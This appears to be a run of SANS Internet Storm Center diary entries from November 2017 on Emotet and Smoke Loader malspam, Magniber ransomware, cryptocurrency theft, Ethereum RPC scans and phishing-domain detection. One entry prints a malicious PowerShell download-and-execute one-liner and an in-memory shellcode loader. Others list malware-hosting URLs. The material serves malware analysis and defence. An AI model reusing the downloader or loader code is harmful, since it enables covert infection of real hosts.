Published: 2017-11-30

More Malspam pushing Emotet malware


I published a diary on malicious spam (malspam) pushing Emotet back in June 2017 (link).  Since then, I continue to catch the occasional sample, and this malspam appears to occur on a near-daily basis.

Emotet is generally known as a banking Trojan, and TrendLabs published a good write-up earlier this month on some recent samples.

Emotet is not exactly big news, nor is it a new threat.  Instead, it's another ongoing presence in our current cyber threat landscape.  Emotet malspam bears some discussion, because it's a continuing concern.  Therefore, today's diary examines recent malspam pushing Emotet on Wednesday 2017-11-29.

Shown above:  Chain of events this malspam.


Malspam pushing Emotet occurred throughout the day on Wednesday 2017-11-29.  As usual, these were invoice-themed emails.  They came from different mail servers, each had different sending addresses, and the URLs occasionally changed.  I collected 30 emails and saw 19 different URLs to download a fake invoice for the malware.

Shown above:  Screenshot of a spreadsheet used to track this malspam.

Shown above:  Screenshot from one of the emails.

Clicking on the links in these emails returned a Word document disguised as an invoice.  These documents had malicious macros designed to infect a victim's host with Emotet malware.

Shown above:  Clicking on a link from one of the emails.

Shown above:  Example of a Word document with the malicious macro.

Network traffic

I generated two infections from this malspam.  The first was at 19:34 UTC, and the second was at 22:22 UTC.  In both infections, I saw an HTTP GET request for the initial Word document, followed by another HTTP GET request after enabling the Word macros to retrieve the Emotet binary.

During the second infection, the original URL to retrieve the Emotet binary had been taken off-line, so additional HTTP GET requests were seen.

After the Windows host was infected, I saw HTTP POST requests on a non-standard port.  This was post-infection callback traffic from the infected Windows host.  During the first infection, this post-infection callback traffic used TCP port 7080.  During the second infection almost three hours later, I saw HTTP POST requests over TCP port 443.

Shown above:  The first infection at 19:34 UTC filtered in Wireshark.

Shown above:  Post-infection callback traffic from the infected Windows host.

Shown above:  Alerts on the infection traffic on Security Onion using Suricata with the Emerging Threats Pro (ET PRO) ruleset.

Shown above:  The second infection at 22:22 UTC filtered in Wireshark.

Forensics on an infected Windows host

On a Windows 10 host, I had to disable Windows Defender.  If not, the downloaded Word document was quickly detected as a severe threat.  After I disabled Windows Defender, macros from the Word document retrieved an Emotet binary.  However, my Windows 10 host didn't generate any post-infection traffic.  I had to infect a Windows 7 host to get a full infection chain.

Shown above:  Emotet malware made persistent on an infected Windows 10 host.

Shown above:  Windows Defender detects this malware.

Shown above:  Windows Defender catches the Word document.

Shown above:  Windows Defender catches the Emotet binary.

Windows Defender identified the Word document as TrojanDownloader:O97M/Tisifi.A and Trojan:Win32/Spursint.F!cl.  Windows Defender identified the Emotet binary as Trojan:Win32/Azden.B!cl.


The following are indicators of this campaign.  Many of the domains represent legitimate websites that have been compromised, and they have been used to host malware for this campaign.

Links from the emails to download the Word document:

  • aeroplume.fr - GET /Corporation/Invoice-number-1397849524/
  • krfseb.ru - GET /Download/New-invoice-1168605/
  • lf.s-grand.ru - GET /DOC/New-invoice-32788472/
  • lostfishermensmemorial.net - GET /DOC/Invoice-number-582613/
  • mobilemedicine.ru - GET /css/FILE/Invoice/
  • pr-kuhni.ru - GET /Corporation/Invoice-number-77151993/
  • servicepack.biz - GET /INFO/Invoice/
  • vozim-gruz.by - GET /Document/Invoice-number-157855129/
  • www.aquacottapizza.com.au - GET /Download/New-invoice-96420848/
  • www.auto-kuply.ru - GET /scan/Invoice/
  • www.demoevents.criticalskillsboost.com - GET /Document/Invoice/
  • www.events.comprara.com.au - GET /LLC/New-invoice-879154773/
  • www.iphoneprofix.com - GET /INFO/Invoice/
  • www.jira.forexworld.com.au - GET /xerox/Invoice-number-882240599/
  • www.laptopthanhhoa.com.vn - GET /scan/Invoice-number-353817/
  • www.lo12.wroc.pl - GET /xerox/New-invoice-4729935/
  • www.meganetop.co.jp - GET /eng/Document/Invoice-number-9206425/
  • www.nschool2.ru - GET /xerox/Invoice/
  • www.vipapart.co.il - GET /FILE/Invoice-number-4797717691/

Traffic generated by the Word macros to download the Emotet binary:

  • port 80 - taswines.co.uk - GET /AFh/
  • port 80 - oilcom.com.ua - GET /wZZ/
  • port 80 - www.avcilarbinicilik.xyz - GET /SkRagptdG/

Post-infection traffic generated by the Emotet malware:

  • port 7080 - - POST / 
  • port 443 - - POST /

SHA256 hash:  7bdf7722115be910e2b301b3f6b3037bc4b987c588838cd2459aeeeec9f50be7

  • File size:  175,104 bytes
  • File name:  Invoice _[random string of numbers].doc
  • File description:  Word document with malicious macros to install Emotet

SHA256 hash:  315e536e86e7e280a2e5eb11fb53727c44d9fd7d76310cd77a1cbedcac9aff4e

  • File size:  122,880 bytes
  • File location:  C:\Users\[username]\AppData\Local\Microsoft\Windows\shedulecart.exe   (on a Win 7 host)
  • File location:  C:\Users\[username]\AppData\Local\Microsoft\Windows\systemevent.exe   (on a Win 10 host)
  • File description:  Emotet binary (1st run)

SHA256 hash:  9fd6ccc50440cac2b76c4c99fcc6144555bd7e62eda22d66a3e9806a5358a686

  • File size:  117,248 bytes
  • File location:  C:\Users\[username]\AppData\Local\Microsoft\Windows\shedulecart.exe   (on a Win 7 host)
  • File location:  C:\Users\[username]\AppData\Local\Microsoft\Windows\systemevent.exe   (on a Win 10 host)
  • File description:  Emotet binary (2nd run)

Final words

Malspam pushing Emotet is easily caught by any decent spam filter, and the associated malware is easily caught by any decent anti-virus.  Windows 10 hosts seem well-protected against this threat.  I had to set up a vulnerable Windows 7 host to get a full infection chain.

This malspam campaign cannot be very effective, yet it occurs practically every day.  That's a testament to how cheap and easy it is to establish these campaigns.  The Internet contains an endless supply of poorly-configured servers ripe for compromise by criminals looking to spam victims with malware.  There's obvious a return on this type of investment, because we continue to see such malspam.

As always, on versions of Windows prior to Windows 10, system administrators and the technically inclined can implement best practices like Software Restriction Policies (SRP) or AppLocker to prevent these types of infections.

Emails, pcaps, and malware samples for today's diary can be found here.

Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2017-11-29

Fileless Malicious PowerShell Sample

Pastebin.com remains one of my favourite place for hunting. I’m searching for juicy content and report finding in a Splunk dashboard:

Yesterday, I found an interesting pastie[1] with a simple Windows CMD script:

powErShEll.ExE -nop -w hIddEn -c $J=nEw-objEct nEt.wEbclIEnt;$J.proxy=[NEt.WEbREquESt]::GEtSyStEmWEbProxy();$J.Proxy.CrEdEntIalS=[NEt.CrEdEntIalCachE]::DEfaultCrEdEntIalS;
IEX $J.downloadStrIng('hxxps://pastebin[.]com/raw/CysKFzNM';);
goto Start

This first stage performs nothing else than downloading the content of another pastie (using the system-defined proxy and credentials if any). While executed, the script decodes another piece of PowerShell which is Base64 encoded and gzip’d (SHA256: eef5ec743ebcaf4a399562b0de15eeaf96c242734ec6f74066a8e9a09cbc70c5). Here is the content of the string:

function mu {
    Param ($ra, $uOXXl)
    $qi1Z = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') })
    return $qi1Z.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices
.HandleRef((New-Object IntPtr), ($qi1Z.GetMethod('GetModuleHandle')).Invoke($null, @($ra)))), $uOXXl))

function k9no_ {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $dn,
        [Parameter(Position = 1)] [Type] $xm = [Void]
    $pnE = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType'
, 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $pnE.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $dn).SetImplementationFlags('Runtime, Managed')
    $pnE.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $xm, $dn).SetImplementationFlags('Runtime, Managed')
    return $pnE.CreateType()

[Byte[]]$iJF = [System.Convert]::FromBase64String("/OiCAAAAYInlMcBki1Awi1IMi1IUi3 (...Redacted...) aALZyF//1Ys2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//1QHDKcZ17sM=“)
$b0Z = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((mu kernel32.dll VirtualAlloc), (k9no_ @([IntPtr], [UInt32], [UInt32], [UInt32])
([IntPtr]))).Invoke([IntPtr]::Zero, $iJF.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($iJF, 0, $b0Z, $iJF.length)

$ljfW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((mu kernel32.dll CreateThread), (k9no_ @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32],
[IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$b0Z,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((mu kernel32.dll WaitForSingleObject), (k9no_ @([IntPtr], [Int32]))).Invoke($ljfW,0xffffffff) | Out-Null

This script is very powerful because it uses the .Net API to call Windows API function in memory. To achieve this, it makes use of assemblies. Microsoft defines[2] an assembly as "a collection of types and resources that forms a logical unit of functionality. All types in the .NET Framework must exist in assemblies; the common language runtime does not support types outside of assemblies. Each time you create a Microsoft Windows® Application, Windows Service, Class Library, or other application with Visual Basic .NET, you're building a single assembly. Each assembly is stored as an .exe or .dll file".

The first function mu() uses GetProcAddress() to return the location of the function in memory. Example:

PS C:\Users\xavie> ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')})
.GetType('Microsoft.Win32.UnsafeNativeMethods').GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object
System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($qi1Z.GetMethod('GetModuleHandle')).Invoke($null, @("kernel32.dll")))), "VirtualAlloc"))


Now that we have the address of our system call, the second function k9no_() is used with GetDelegateForFunctionPointer[3] to get a pointer to the function. So, we understand now what does the PowerShell script:

  1. Decode the Base64 encoded payload 
  2. Allocate some memory
  3. Copy the payload in the allocated memory space
  4. Create a new threat
  5. Execute the payload

The payload is the Base64 encoded strings (SHA256: 30cac876f585ffa1912e6132dd68951a44e266d6711dbbd1208b887203f742f3). It contacts a C&C server located in Israel (%%ip: on port %%port:2712%%. The traffic is just garbage and I was not able to find useful information in the captured traffic.

[1] https://pastebin.com/Fj2HvFf3
[2] https://msdn.microsoft.com/en-us/library/ms973231.aspx
[3] https://msdn.microsoft.com/en-us/library/zdx6dyyh(v=vs.95).aspx

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant


Published: 2017-11-28

Apple High Sierra Uses a Passwordless Root Account

Today, a security researcher twitted[1] about a dangerous behaviour he found in the Apple High Sierra operating system: It is possible to get administrator rights (the "root" account on UNIX) by connecting without a password. I was able to reproduce this behaviour on my MacBook running the latest OS X version. It appears that OS X is delivered with a passwordless root account.

A quick fix is to create a password as soon as possible. Open a terminal and type the following command:

$ sudo passwd root

It's not clear if only High Sierra is affected or also older versions. We will update this post as soon as possible if required.

[1] https://twitter.com/lemiorhan/status/935578694541770752

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant


Published: 2017-11-26

9 Fast and Easy Ways To Lose Your Crypto Coins

Looking at the cost of cryptocurrencies this weekend, it looks like many of you will find a few bitcoins under your tree instead of a new game console. It appears to become a big holiday gift. With all the attention given to cryptocurrencies, they have also become a top target for criminals this season. In many ways, stealing someone's crypto wallet is more lucrative than stealing a credit card number and in many ways easier. Creditcards can be blocked very quickly, and credit card companies are actively looking for fraud, often detecting it before the customer does. In some cases fraudulent credit card transactions can be reversed. With cryptocurrencies, you have to watch out for fraud yourself and there is little recourse if a wallet is stolen, in particular, if you do not realize right away that it has been stolen.

But stealing your wallet is far from the only fraudulent activity we have observed recently.

First of all the obligatory cryptocurrency primer: What is a "Cryptocurrency Wallet"? Unlike a real wallet, a cryptocurrency wallet does not hold a "balance" in the traditional sense. A cryptocurrency wallet is a secret key. You can use the secret key to prove that you are the owner of a particular address, and the public blockchain ledger will allow others to figure out your current balance. So the secret you need to safeguard is this secret key.

A second activity that is often discussed is "mining". Mining refers to assisting in maintaining the public ledger for a cryptocurrency. As a user of cryptocurrencies, you do not have to mine. But if you do, you are rewarded by receiving more "coins".

You do not even have to maintain your own wallet. Instead, you can keep your coins with a cryptocurrency exchange that acts in some ways like a bank.

So how are bad guys abusing this system?

1 - Crypto Pick Pockets

As discussed above, a wallet is a secret key. Typically, the key is protected with a password. But just like any other password, these passwords are not always all that safe. The key itself is a file that can be copied (stolen) just like any other file. We have seen last week how some criminals are searching websites for carelessly exposed wallets. Various pieces of malware have also started stealing cryptocurrency wallets just like they steal credit card numbers.

2 - Rogue Crypto Currency Miners.

This variant takes advantage of the fact that mining pays. The problem with mining cryptocurrencies is that it is a computationally expensive process. Professional equipment to do so is expensive and can take a lot of power to operate. The "solution" here is to use someone else's equipment to "mine". To do this, the miscreant will compromise systems, and install mining software on them. Mining software typically does not require any special privileges. A simple exploit against an outdated Wordpress install, or a weak FTP password, can be used to install a miner. The victim is stuck with the power bill, and the miscreant will earn the cryptocurrency. Of course, client software can also be used and we have certainly seen traditional client-side exploit kits that install crypto coin miners. But these miners tend to be most effective on servers that have substantial CPUs or graphics cards and are on 24/7.

3 - Cryptojacking - Javascript Miners

At first, rogue miners were typically installed on systems via a vulnerability that allowed arbitrary code execution. A exploit-free option, that has become quite popular recently is the use of Javascript miners. Coinhive has quickly become a market leader to make it easy to install miners in someone's browser. The intent is not always malicious. Coinhive typically requires consent from the user. But we have seen the script installed more often without asking for consent. Also, Coinhive does not take advantage of any vulnerabilities. Instead, it uses regular Javascript to mine. Javascript miners tend to mine Monero, a cryptocurrency that was designed to be mined using commodity equipment, and that has strong privacy features making it much more difficult to trace transactions.

4 - Phishing

Good old phishing is often used to extract credentials for currency exchanges from users. Some exchanges have moved to two-factor authentication, but not all have. These phishing attacks have become quite sophisticated and in some cases exceed the quality of an average online banking phish. For example, just last week I came across one that used an international domain name and a valid TLS certificate to impersonate a cryptocurrency exchange.



5 - Attacks Against Mining Equipment

In the end, a "Cryptocurrency Mining Rig" is a computer. It is vulnerable to all the same problems that any other computer is vulnerable too. For example, many of them use standard ssh usernames and passwords. If an attacker has access to the equipment via SSH, they can use the username and password to take over the equipment and have it mine for the new owner. This is a bit like the rogue miners above, with the difference that the equipment is designed to mine.

6 - Attacking APIs

I wrote about this last week. Ethereum nodes have an optional RPC interface that can be used to control the node without any authentication. Note that this isn't enabled by default, and if it is enabled, it is configured to listen only on "loopback", but apparently there are plenty of them out there listening. After writing about them last week, Dimitrios Slamaris reached out via twitter that he has observed these scans before (see his blog here: https://blog.3or.de/internet-wide-ethereum-json-rpc-scans.html ). We will have more about this in a couple days.

7 - Weak Random Numbers

As mentioned above, the security of your bitcoin wallet depends on a secret key. If this secret key is not random, then an attacker is able to guess it and take over your wallet without ever touching your system. There have been some wallet implementations in the past that have used known bad random number generators. In particular mobile applications appear to be affected by this issue. The secret key is not created by the user, and its randomness is not depending on the password. (But a strong password is still a good idea to protect the key.

8 - Stealing Power

You got a high-end cryptocurrency mining rig, but the power bill is eating all your profits? Use someone else's power. For example, having a mining rig under a work desk to use company power.

9 - Don't make backups

This doesn't involve anybody stealing your money, but it is an important issue to mention. You are in full control of your cryptocurrency wallet. Nobody else is. This means, that it is your sole responsibility to guard the wallet. If the wallet is every lost (for example a crashed hard drive), then you will have no way to recover your money. One common way is to create a "paper wallet" (print the key, typically in the form of a QR code). Only keep the money you currently need in electronic form. It is easy to copy the paper wallet. But again: Make sure you don't let other's see the code.

In conclusion: With cryptocurrencies, there are no bank or other institutions or regulations that will cover you in case of a loss. If a bitcoin exchange goes under, or if it turns out to be fraudulent, then there is very little you can do to get your money back. As they say: With great freedom comes great responsibility.

Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute



Published: 2017-11-25

Exim Remote Code Exploit

A use-after-free(UAF) vulnerability has been found in Exim version 4.88 and 4.89 which could lead to the execution of arbitrary code or DoS. The patch has been made available today and is available for download here.

[1] https://bugs.exim.org/show_bug.cgi?id=2199
[2] https://git.exim.org/exim.git/commitdiff/4e6ae6235c68de243b1c2419027472d7659aa2b4
[3] http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-16943

Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2017-11-25

Benefits associated with the use of Open Source Software

This week I ran across an interesting story talking about the benefits of using open source software in an enterprise.

This article has "Eleven CISOs from across industries weighed in, with most saying that open source software generally has been well vetted for security vulnerabilities by the vast development communities that contribute software to the libraries."[1]

I do agree with these CISOs' comment employing Commercial of the Shell (COTS) and Open Source Software (OSS) in our organization to accomplish our day to day work. Whenever I can, I "transform or adapt" OSS to perform custom tasks not just to save money but to make sure it does exactly what I want it to do. Like any software, even if it is OSS, it has a cost attached to it such as maintenance, software update, (like COTS) testing update before they are put into production and user training.

There are several places where you and I can find OSS projects that are used every day by the community; such as Github which contains hundreds of projects, software, code and references.

Do you maintain an Open Source Project? Want to share, where is it located?

[1] https://www.prnewswire.com/news-releases/11-chief-information-security-officers-cisos-say-open-source-software-provides-security-potential-for-cost-savings-300559323.html
[2] https://opensource.com/resources/what-open-source
[3] http://handlers.sans.org/gbruneau/sinkhole.htm
[4] https://github.com/
[5] https://github.com/wtsxDev/reverse-engineering

Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2017-11-23

Proactive Malicious Domain Search

In a previous diary[1], I presented a dashboard that I’m using to keep track of the DNS traffic on my networks. Tracking malicious domains is useful but what if you could, in a certain way, “predict” the upcoming domains that will be used to host phishing pages? Being a step ahead of the attackers is always good, right? Thanks to the CertStream[2] service (provided by Cali Dog Security), you have access to a real-time certificate transparency log update stream. Briefly, Certificate Transparency[3] helps to protect against threats that make use of bad certificates. 

By reading the CertStream feed, it is possible to become aware of newly created or renewed certificates. If the feed can be watched in real-time from the website, it is much more convenient to interface it with another monitoring tool. A classic example is Python. You can easily watch the stream with the Python module 'certstream':

$ pip install certstream
$ certstream
[INFO:root] 2017-11-22 19:14:49,927 - Connection established to CertStream! Listening for events...
[2017-11-22T19:14:40.060376] ct.googleapis.com/pilot - 99designsolution.com
[2017-11-22T19:14:40.066228] ct.googleapis.com/pilot - sni52607.cloudflaressl.com
[2017-11-22T19:14:40.071942] ct.googleapis.com/pilot - 98entrepreneurs.com
[2017-11-22T19:14:40.077284] ct.googleapis.com/pilot - sni52607.cloudflaressl.com
[2017-11-22T19:14:40.082900] ct.googleapis.com/pilot - 99people.com
[2017-11-22T19:14:40.086780] ct.googleapis.com/pilot - www.9980t.com
[2017-11-22T19:14:40.090466] ct.googleapis.com/pilot - 98wellstreet-brighton.com
[2017-11-22T19:14:40.094337] ct.googleapis.com/pilot - 8bitcyclops.com
[2017-11-22T19:14:40.097591] ct.googleapis.com/pilot - 9barrecordings.com

You will immediately see that the raw feed is completely useless due to the huge amount of operations on certificates performed by seconds. How to detect only “useful” domains? I found on GitHub an interesting project based on same feed: phishing_catcher[4]. The purpose is the same as the official 'certstream' command but domain names are checked against different criteria to help in computing a score to estimate if the domain is suspicious or not. Some examples:

Found String Weight
"account" +25
"outlook" +60
".net-" +20

It also checks for a list of suspicious new TLD’s like .party, .cc, .top, .tech, etc.

Note that a weight of +10 is added if the certificate has been issued by Let’s Encrypt!

The final score is flagged as follow:

>= 65 Potential
>= 80 Likely
>= 90 Suspicious

Let’s have a look at some domains that I tested yesterday:



It is also possible to detect upcoming campaigns based on similar domains that have their certificate created or renewed in a short period of time:


Ok, how to use it in a simple but effective way? Phishing_catcher can be quickly installed in a Docker container:

FROM ubuntu:latest
MAINTAINER Xavier Mertens <xavier@rootshell.be>

RUN apt-get update && \
    apt-get install -y git python3-pip python3-selenium chromium-chromedriver python3-pil && \
    rm -rf /var/lib/apt/lists/*

RUN git clone https://github.com/x0rz/phishing_catcher.git
WORKDIR /opt/phishing_catcher
RUN pip3 install -r requirements.txt

WORKDIR /opt/phishing_catcher
ENTRYPOINT ["python3", "./catch_phishing.py”]

If you’re a big organization which is often targeted with phishing kits, I recommend you to modify the 'suspicious.py' file and add your own domains and/or keywords!

The final step is of course to use the list of domains (ex: the last 5000 entries or captured for the last x hours and correlated with your logs:

index=securityonion source="/nsm/bro/spool/manager/dns.log" [|inputlookup phishing_catcher.csv]
| stats count by qclass,src_ip 
| table src_ip,qclass, count 
| sort 10 -count

Happy hunting!

[1] https://isc.sans.edu/forums/diary/Suspicious+Domains+Tracking+Dashboard/23046/
[2] https://certstream.calidog.io/
[3] https://www.certificate-transparency.org/what-is-ct
[4] https://github.com/x0rz/phishing_catcher

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant


Published: 2017-11-21

Internet Wide Ethereum JSON-RPC Scans

Ethereum is certainly getting a lot of press this year, and with this, we also see the bad guys spending more effort to steal the shiny fresh off the digital mint crypto coins. Etherum itself is a rather complex beast, but one feature Ethereum nodes provide is a remote access option via RPC. Typically, nodes are listening on %%port:8545%%. For the last few months, we have been seeing a steady increase in requests for this port.

A typical request sent:

Host: a.b.c.d:8545
User-Agent: Geth/v1.6.1-stable-021c3c28/linux-amd64/go1.8.1
Content-Length: 86
Content-Type: application/json
Accept-Encoding: gzip
Connection: close

{"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["0x1", false], "id":406270}

The user agent matches the typical Go library used to implement these requests. At this point, this looks just like a recognizance query. If anybody has the "right" response to this type of query, please let me know. the "id" parameter changes between requests.

Currently, two IP addresses are scanning specifically hard using these requests: - Interserver Inc. (a New Jersey hosting company) - NFOrce Entertainment BV (Durch hosting company)

If you are using Ethereum, and if you are running an Ethereum node, then please make sure the node is not listening to inbound queries. As far as I can tell, these requests are simple HTTP requests, they are not protected by same-origin policy and can easily be issued via Javascript. It would be trivial to have Javascript look for a node on the host connecting to a web server, even if the host is behind NAT. Probably because investors in cryptocurrencies are used to taking risks, the JSON RPC interface does not provide for authentication. Instead, if you do want to use any form of authentication, you have to proxy the queries via a server like Nginx that is then able to filter and authenticate requests.

If you are more familiar with the use of JSON-RPC for Ethereum, or if you have anything else to contribute to this, please let me know!

And a quick update: I am also seeing this request now:

Accept: */*
Content-Length: 49
Content-Type: application/json


Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute



Published: 2017-11-20

One month later, Magniber ransomware is still out there


Last month in October 2017, several sources reported a new ransomware family distributed by Magnitude exploit kit (EK) [1, 2, 3].  Security researchers dubbed the new ransomware "Magniber" because it appears to have replaced Cerber ransomware as distributed through Magnitude EK.  Cerber seems to have disappeared since then, but as November 2017 progresses, we're still seeing Magniber.

Magnitude EK appears to be the sole distributer of Magniber, and it still appears to be targeting Korea as noted in the original reports.  I had tried to generate infection traffic from Magniber in my home lab; however, I was never successful until I used a Korean version of Windows.

Magniber didn't run on my English version of Windows.


Nothing new, really, since the original wave of reporting on Magniber.  However, I wanted to show this activity is still happening.  The most recent Magniber sample I can confirm is SHA256 hash 7a2697e3dc0f2a678dedc8d9842a55b8efe6e11933aa32fb856f61ad5e3eecd7 first submitted to VirusTotal last week on 2017-11-14 [4].

My thanks to researchers like @hasherezade who have submitted Magniber samples to VirusTotal and left comments with the #Magniber tag.  That made recent samples much easier to find.

Shown above:  Desktop of an infected Korean Windows computer.

Shown above:  Tor page for viewing the decryption instructions.

Shown above:  Traffic from an infection filtered in Wireshark.

Final words

My standard disclaimer still applies.  System administrators and the technically inclined can implement best practices like Software Restriction Policies (SRP) or AppLocker to prevent these types of infections.

If I can generate some Magnitude EK traffic and acquire a newer Magniber sample, I will post the updated information.

Brad Duncan
brad [at] malware-traffic-analysis.net


[1] http://blog.trendmicro.com/trendlabs-security-intelligence/magnitude-exploit-kit-now-targeting-korea-with-magniber-ransomware/
[2] https://blog.malwarebytes.com/threat-analysis/2017/10/magniber-ransomware-exclusively-for-south-koreans/
[3] https://www.bleepingcomputer.com/news/security/goodbye-cerber-hello-magniber-ransomware/
[4] https://www.virustotal.com/en/file/7a2697e3dc0f2a678dedc8d9842a55b8efe6e11933aa32fb856f61ad5e3eecd7/analysis/


Published: 2017-11-19

Resume-themed malspam pushing Smoke Loader


Malicious spam (malspam) with malware disguised as a resume.  This is a long-running theme frequently used by criminals to push various types of malware.

My Online Security reported about a recent wave earlier this month on 2017-11-10.  These resume-themed emails contain Word documents with malicious macros, and the macros are designed to infect your Windows computer.  Recent macros associated with this campaign have used 89.248.169[.]136/bigmac.jpg to retrieve malware used to infect a victim's computer.  When I checked, that URL returned a Windows executable file, and it has hosted different types malware since it was first reported back in October 2017.

Emails from this most recent wave of malspam have been submitted to VirusTotal as recently as Saturday 2017-11-18.  I collected some of these messages and generated an infection in my lab.  Today's diary reviews recent emails from this wave of malspam, and it examines the associated infection traffic.

Shown above:  Flow chart for the infection traffic.

What's the malware this time?

Last month on 2017-10-08, My Online Security reported Word documents from this malspam were pushing GlobeImposter ransomware.  However, on 2017-11-18, Word documents from this malspam were pushing Smoke Loader (sometimes spelled as single word: SmokeLoader).  Smoke Loader is a malware downloader, and it's also known as Sharik or Dofoil.

Shown above:  Smoke Loader sample identified as Dofoil by Microsoft.

I've seen different malware downloaded by Smoke Loader, but during Saturday's 2017-11-18 infection, the follow-up malware was Zeus Panda Banker.

The emails

Send dates show as Wednesday 2017-11-15 or Thursday 2017-11-16, but emails from this malspam were received through Saturday 2017-11-18.  Each email had a similar message body, but with random names for the sender and email attachments.  All emails from this malspam had the same subject line: Website Job Application.

Shown above:  Screenshot from a spreadsheet tracker.

Shown above:  Screenshot from one of the emails.

Shown above:  Attachment from one of the emails.

The traffic

The Smoke Loader sample didn't run on a virtual machine (VM), and it didn't do anything when submitted to publicly available sandboxes like www.reverse.it.  I had to generate infection traffic on a physical Windows host.

From a physical host in my lab, the Word document macro downloaded Smoke Loader, and Smoke Loader downloaded Zeus Panda Banker.  Network traffic and the associated alerts confirmed this activity.

Shown above:  Traffic from an infection filtered in Wireshark.

Shown above:  Alerts from the traffic in Sguil on Security Onion using Suricata and the EmergingThreats Pro ruleset.

Shown above:  Post-infection alerts for Zeus Panda Banker using Snort 2.9.11 and the Snort Subscription ruleset.


The following traffic to legitimate domains was generated by Smoke Loader:

  • www.bing.com - GET /
  • support.microsoft.com - POST /kb/2460049
  • java.com - POST /help
  • java.com - GET /en/download/help/index.xml
  • java.com - GET /en/download/help/
  • go.microsoft.com - POST /fwlink/?LinkId=133405
  • msdn.microsoft.com - GET /vstudio

The following traffic to malicious domains was noted during the infection.

Word macro downloading Smoke Loader:

  • 89.248.169[.]136 port 80 - 89.248.169[.]136 - GET /bigmac.jpg

Smoke Loader traffic for check-in and downloading follow-up malware:

  • 145.249.104[.]14 port 80 - securityupdateserver3[.]com - POST /blog/wp.php

HTTPS/SSL/TLS traffic caused by Zeus Panda Banker:

  • 27.102.67[.]144 port 443 - gromnes[.]top

The following file hashes were noted for Word documents from this malspam:

The following file hash was noted for Smoke Loader from this infection:

The following file hash was noted for Zeus Panda Banker from this infection:

Final words

Malspam uses a variety of attachments and techniques to distribute malware.  I've seen a lot of Word attachments from malspam in recent weeks, and malicious Office macros are a common method.  However, these macros are fairly obvious, and educated users can easily avoid them.  Additionally, system administrators and the technically inclined can implement best practices like Software Restriction Policies (SRP) or AppLocker to prevent these types of infections.

Email, malware, and traffic samples for today's diary can be found here.

Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2017-11-18

BTC Pickpockets

I observed requests to my webserver to retrieve Bitcoin wallet files:

The files they are looking for are:

wallet - Copy.dat

I've seen a couple of such request a couple of years ago, but it's the first time I see that many. The first time I observed this was late 2013, in the middle of the first big BTC price rally.

Please post a comment if you observed similar requests.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com


Published: 2017-11-17

Top-100 Malicious IP STIX Feed

Yesterday, we were contacted by one of our readers who asked if we provide a STIX feed of our blocked list or top-100 suspicious IP addresses. STIX[1] means “Structured Threat Information eXpression” and enables organizations to share indicator of compromise (IOC) with peers in a consistent and machine readable manner.

The ISC already provides an API[2] that allows you to query our databases. The following query will return the top-100 bad IP addresses: (output has been beautified)

$ curl https://isc.sans.edu/api/topips/records/100
<?xml version="1.0" encoding="UTF-8"?>

You can select the output format by appending a “?<format>” at the end of the URL. Supported formats are: xml, text, json, php. The different formats make the output easy to integrate into third-party application but our reader’s comment was legit. If they are standards like STIX, why not use them?

Python has a module[3] to handle STIX data. I wrote a quick script to convert the output of the "/topips/records/100" API call into a STIX 1.2 XML format:

  xmlns:xlink="http://www.w3.org/1999/xlink" id="example:Package-05d930dd-db95-4ef0-928e-6a697a1d54e0" version="1.2"> 
      <stix:Indicator id="example:indicator-c0d228b3-8f67-44f9-add9-7b48936586d4" timestamp="2017-11-17T07:41:00.355151+00:00" xsi:type='indicator:IndicatorType'>
        <indicator:Title>SANS ISC Malicious IP</indicator:Title>
        <indicator:Type xsi:type="stixVocabs:IndicatorTypeVocab-1.1">IP Watchlist</indicator:Type>
        <indicator:Observable id="example:Observable-7e3046bd-ea5e-4998-9520-d3ee84a8a266">
          <cybox:Object id="example:Address-9e46b000-bf82-47aa-ab40-84d088174470">
            <cybox:Properties xsi:type="AddressObj:AddressObjectType" category="ipv4-addr">

The script is available in my GitHub repository[4].

If you want to test, I'm publishing a live feed[5] (updated every 2 hours). Let me know if it's useful to you, if the STIX file is correct (read: I'm not a STIX guru) or if you need some improvements. 

[1] https://stixproject.github.io/
[2] https://isc.sans.edu/api/
[3] https://github.com/STIXProject/python-stix
[4] https://github.com/xme/toolbox/blob/master/isc2stix.py
[5] https://misp.truesec.be/isc-top-100-stix.xml

